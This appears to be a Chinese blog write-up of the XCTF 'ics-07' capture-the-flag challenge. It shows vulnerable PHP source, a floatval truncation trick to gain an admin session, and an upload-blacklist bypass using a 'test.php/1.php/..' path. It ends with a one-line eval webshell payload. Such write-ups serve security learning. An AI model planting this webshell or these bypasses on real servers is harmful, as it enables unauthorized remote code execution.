• XCTF-ics-07(floatval函数特性+Linux目录结构特性)


    直接进入到项目管理页面,给了三段源码。

    第一段

    <?php
        session_start();
    
        if (!isset($_GET[page])) {
          show_source(__FILE__);
          die();
        }
    
        if (isset($_GET[page]) && $_GET[page] != 'index.php') {
          include('flag.php');
        }else {
          header('Location: ?page=flag.php');
        }
    
        ?>
    

    第二段

    在$_SESSION['admin'] = True的情况下,POST提交con和file两个参数,对$filename进行正则判断,如果判断正确文件会被上传到uploaded/backup目录下。正则匹配这里的把一些后缀加入了黑名单

      <?php
         if ($_SESSION['admin']) {
           $con = $_POST['con'];
           $file = $_POST['file'];
           $filename = "backup/".$file;
    
           if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
              die("Bad file extension");
           }else{
                chdir('uploaded');
               $f = fopen($filename, 'w');
               fwrite($f, $con);
               fclose($f);
           }
         }
         ?>
    

    第三段

    这一段可以使$_SESSION['admin'] = True;我们来看一下怎么构造。他需要获取一个id参数, 并且id不为1,且最后一位等于9。
    这里用到了floatval这个函数,floatval 函数用于获取变量的浮点值,但是floatval在遇到字符时会截断后面的部分,比如-,+,空格等,所以可以构造id=1 9来满足第一个if条件,if条件满足可以使得$result变量为TRUE。成功使$_SESSION['admin'] = True;

    <?php
          if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
            include 'config.php';
            $id = mysql_real_escape_string($_GET[id]); //利用mysql_real_escape_string函数防止SQL注入,将传入语句中的特殊字符转义,可以使用宽字节注入,但是需要GBK编码
            $sql="select * from cetc007.user where id='$id'";
            $result = mysql_query($sql);
            $result = mysql_fetch_object($result);
          } else {
            $result = False;
            die();
          }
    
          if(!$result)die("<br >something wae wrong ! <br>");
          if($result){
            echo "id: ".$result->id."</br>";
            echo "name:".$result->user."</br>";
            $_SESSION['admin'] = True;
          }
         ?>
    

    构造payload

    下面考虑如何上传木马文件。这里利用Linux的一个目录结构特性。我们递归的在1.php文件夹中再创建2.php,访问1.php/2.php/..进入的是1.php文件夹

    构造payload:

    con=<?php @eval($_POST[cmd]);?>&file=test.php/1.php/..
    


    成功上传木马。

    蚁剑连接拿到flag

    参考链接

    https://www.guildhab.top/?p=481

  • 相关阅读:
    【Android】Android消息处理机制
    【Android】Sensor框架HAL层解读
    【Android】Sensor框架Framework层解读
    【流媒体】初识流媒体与流媒体技术
    【Git】Git与GitHub 入门
    【Delphi】基于状态机的串口通信
    【Delphi】SPComm注意事项
    【Android】事件输入系统-代码层次解读
    【Android】事件处理系统
    【Android】窗口机制分析与UI管理系统
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/13188482.html
Copyright © 2020-2023  润新知